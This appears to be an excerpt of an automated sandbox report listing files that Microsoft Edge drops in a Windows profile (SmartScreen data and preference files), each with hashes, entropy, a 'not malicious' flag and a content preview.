Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:kDnaV6bVon:kDYa2
MD5:	5692162977B015E31D5F35F50EFAB9CF
SHA1:	705DC80E8B32AC8B68F7E13CF8A75DCCB251ED7D
SHA-256:	42CCB5159B168DBE5D5DDF026E5F7ED3DBF50873CFE47C7C3EF0677BB07B90D4
SHA-512:	32905A4CC5BCE0FE8502DDD32096F40106625218BEDC4E218A344225D6DF2595A7B70EEB3695DCEFDD894ECB2B66BED479654E8E07F02526648E07ACFE47838C
Malicious:	false
Preview:	edgeSettings_2.0-0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.493433469104717
Encrypted:	false
SSDEEP:	3:kfKbQSQSuLA5:kyUc5
MD5:	3F90757B200B52DCF5FDAC696EFD3D60
SHA1:	569A2E1BED9ECCDF7CD03E270AEF2BD7FF9B0E77
SHA-256:	1EE63F0A3502CFB7DF195FABBA41A7805008AB2CCCDAEB9AF990409D163D60C8
SHA-512:	39252BBAA33130DF50F36178A8EAB1D09165666D8A229FBB3495DD01CBE964F87CD2E6FCD479DFCA36BE06309EF18FEDA7F14722C57545203BBA24972D4835C8
Malicious:	false
Preview:	synchronousLookupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQan:YQ3Kq9X0dMgAEwjM
MD5:	961E3604F228B0D10541EBF921500C86
SHA1:	6E00570D9F78D9CFEBE67D4DA5EFE546543949A7
SHA-256:	F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
SHA-512:	535F930AFD2EF50282715C7E48859CC2D7B354FF4E6C156B94D5A2815F589B33189FFEDFCAF4456525283E993087F9F560D84CFCF497D189AB8101510A09C472
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\aa035928-a104-4445-87e3-a219cdf38204.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\c7fad62f-a751-4592-a613-e473e0ba8fea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23180
Entropy (8bit):	6.055403393588391
Encrypted:	false
SSDEEP:	384:stMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSWKJumWauP7KJe1h0FoN6ONMg0a:sMGQ7FCYXGIgtDAWtJ4nqzvvP7KS/N6s
MD5:	CCB609643FD11C4114D1090D12978D69
SHA1:	616E4C204C522E185CA4B93554DB7C474CDD3F3E
SHA-256:	255A984EBDB1E764BD55B75377F6355D48CA04785EE6A61DF28B83F55D65493F
SHA-512:	9CA6F0DD7BB1BDDEE56D08E5DC5883E8E925D7DBE802737A7A3A3D97AFF6C100A685B3545DE983E0F0DB703D619D32996BF0027B2AF618EE69FFB49684590019
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\c856e3bb-85c2-4fe1-97c6-440be1c56de6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21041
Entropy (8bit):	6.0641006371589885
Encrypted:	false
SSDEEP:	384:stMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSWdJuw7KJe1h0FoN6ONMg0a:sMGQ7FCYXGIgtDAWtJ4nqOw7KS/N6ONh
MD5:	734A1EABE0A0BC4B7BCABF3F28EE56EC
SHA1:	538E6B44A7819632DA44D7E1EC4030BA5178551E
SHA-256:	27AC530194B258423084D5ED44680F9323C479929247F61F34D22F3826F9F9C6
SHA-512:	47541051CDE85F02FA6B7E30E99687A99027A401DBD712DBB30B212D03E4C2FD670AB8EDE1A1390BA583282F3CE6C2B05D5600DD8F2BE037C85932AA4BD45E3B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\ccc1e4a0-52e7-4fc9-bcb2-ec9376860048.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	75040
Entropy (8bit):	6.072507512438853
Encrypted:	false
SSDEEP:	1536:sMGQ5XMBGm6I7ECksE1YCuYIdAfaRemu12d+835v2NB2JranGzUYrERbl:sMrJM8mBM8/ACwH12JU2JrSGzUYrEJl
MD5:	8C9F8C6A74C1427D31665C9DB4A359A5
SHA1:	FD57AF3CEA7EF6BB73883FBA78DB594994290470
SHA-256:	B368A0E7D773241F43C73F900A1B622226816209410F4E80418B7822789B9048
SHA-512:	7DE5DE404822CC7B858CCF8E3D173C0EC25755FB1E01BDD99E1668C11BDF4A319C9ECB7E20D1CB437DDC0740C51FE515C3D7700D0D83C3753654657DCC68066C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\e1413837-647e-4177-bc0d-7f0c47906757.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	75041
Entropy (8bit):	6.0725068592725995
Encrypted:	false
SSDEEP:	1536:sMGQ5XMBGmOI7ECksE1YCuYIdAfaRemu12d+835v2NB2JranGzUYrERbl:sMrJM8mlM8/ACwH12JU2JrSGzUYrEJl
MD5:	8CEE3969BC48DD640A6B76741974DEBF
SHA1:	A96C627B25F7557910DD45C3FE5095565F5A1433
SHA-256:	D22749591699195FF38FB77A3AB82CC4E97B95EAE67218C21DA133A041384C35
SHA-512:	ACC60CADD80647F7FF394AB8CC48701F40D6ACA725A0993DB6F5FE03C967BAFB4FD518E7D8FD7048D87FB358E710E31CFEC911E933A486224FC19297288D8977
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\e9fc9751-17b9-40f5-a48d-895f7393fd6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21041
Entropy (8bit):	6.06409907705694
Encrypted:	false
SSDEEP:	384:stMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSWyJuw7KJe1h0FoN6ONMg0a:sMGQ7FCYXGIgtDAWtJ4nqrw7KS/N6ONh
MD5:	D250DFCE6B92B7361DBE844C3037A1B2
SHA1:	BDE8C89B3A820DFC53146068E6A7C999BCBB2D7F
SHA-256:	F6F4239D0D6B91147AE805E9D84B1CC7953F4D04CA40128FA0E8C717DCEA1797
SHA-512:	8A8ED799B12E14D7535628BC313CD77D3AE8A5F791EFF9D879B822652B66197ECD29D3C8F2C8DC6DD528996CAE56B2824100D14F3CE5EF9FA76B4BD031DD70A0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\f636c6ab-8594-4652-b934-33963b2efb72.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	75050
Entropy (8bit):	6.0724995589509945
Encrypted:	false
SSDEEP:	1536:+MGQ5XMBGm1I7ECksE1YCuYIdAfaRemu12d+835v2NB2JranGzUYrERbl:+MrJM8m8M8/ACwH12JU2JrSGzUYrEJl
MD5:	226D2CFFE18FA53CF1CFE3BBBF1ACC4D
SHA1:	32C5A6D5EAC2CDCE5828EBA5F8E6E990098CCAB4
SHA-256:	35C905F6E1F1267BD01D32106929EB20AE2091737C35F645CA468AE61A609D67
SHA-512:	C80E5F8C51A955087025117F88D4336F54ABA6B64500B4174C9BFD5942772F328450685B7A837F3806977774DBA81402C7D40C5FD043A899C5E73DDD1BA712D2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"1725151783"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXB

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\14ca3783-5c6e-41d1-bc42-01b4c549e9a6.tmp

Download File

